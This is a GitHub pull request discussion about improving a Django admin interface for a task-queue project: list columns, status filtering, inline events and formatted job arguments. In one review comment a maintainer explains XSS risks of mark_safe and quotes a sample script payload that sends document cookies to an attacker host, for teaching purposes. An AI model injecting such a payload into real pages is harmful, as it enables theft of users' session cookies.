-
Notifications
You must be signed in to change notification settings - Fork 53
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Make django Admin interface support slightly better UX wise #1140
Conversation
Coverage reportClick to see where and how coverage changed
This report was generated by python-coverage-comment-action |
Hi there ! Thank you for your contribution ! As mentioned in the 2.0 release note:
😅 Thank you for tackling this, but if you have some spare time, I think we could go a bit further!
I tend to find proper use of bold, italics, underline etc, and the occasional emoji very interesting to improve readability. Anything that helps. Regarding the details view, I like the addition of events as inline. I think the only thing worth bikeshedding is the order of fields. I'd say: id, task name, args, status, queue, lock, queuing lock, priority, scheduled at, attempts Thanks a lot :) If you'd rather not spend longer on this, please let us know, we can merge thing and follow up for other changes. |
Thanks for the feedback. I'll to see how far I can get to incorporate all the suggestions. |
It would mean introducing another dependency similar to I will push my interpretation of your feedback. They improve even more the readability. I hope it matches your expectations :) |
I could be wrong but timesince doesn't require humanize, does it ? (There's a python callable version in |
you didn't missed anything. I did. Thanks for the pointer. I will look into it. |
- Display some fields on table view ["task_name", "queue_name", "attempts", "status"] - Allow to filter on status - Display Events inline
43299de
to
ba1060d
Compare
for more information, see https://pre-commit.ci
Also, add many other parts to the summary
I've added a few commit for additional ideas. Here's the result: Screen.Recording.2024-08-08.at.23.28.07.movI'm ready to merge. If you're ready too, then let's merge. (Waiting for your input in case you want to read/comment my commits). |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Stellar job 🤩, inspiring and fun. Love it (love it so much I wanted to play too 😬)
indent = 2 if len(instance.args) > 1 or len(str(instance.args)) > 30 else None | ||
pretty_json = json.dumps(instance.args, indent=indent) | ||
if len(pretty_json) > 2000: | ||
pretty_json = pretty_json[:2000] + "..." | ||
return format_html( | ||
'<pre style="margin: 0">{pretty_json}</pre>', pretty_json=pretty_json | ||
) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just so you know: it's dangerous to mark_safe
elements that can be controlled by external sources. format_html
is exactly made for this: the html will be marked safe, but the dynamic elements within will be escaped.
Imagine if someone submitted a task with {"tag": "</pre><script>fetch('http://attacker.com/?'+document.cookies); </script><pre>"}
😱
Whenever you use mark_safe
, you have a 50/50 (rough estimate 😄 ) chance of introducing a XSS vulnerability. Only use that in last resort, and only if you're sure that you're doing it on 100% safe text.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
TIL
@admin.display(description="Summary") | ||
def summary(self, instance: models.ProcrastinateJob) -> str: | ||
if last_event := instance.procrastinateevent_set.latest(): # type: ignore[attr-defined] | ||
return mark_safe( |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Here, mark_safe
is safe because external values got escaped when the template was rendered, so the result of the temple is actually safe
Very nice Thanks for the additions. You can merge it. |
Sorry no screenshot.
Closes ø
Successful PR Checklist:
PR label(s):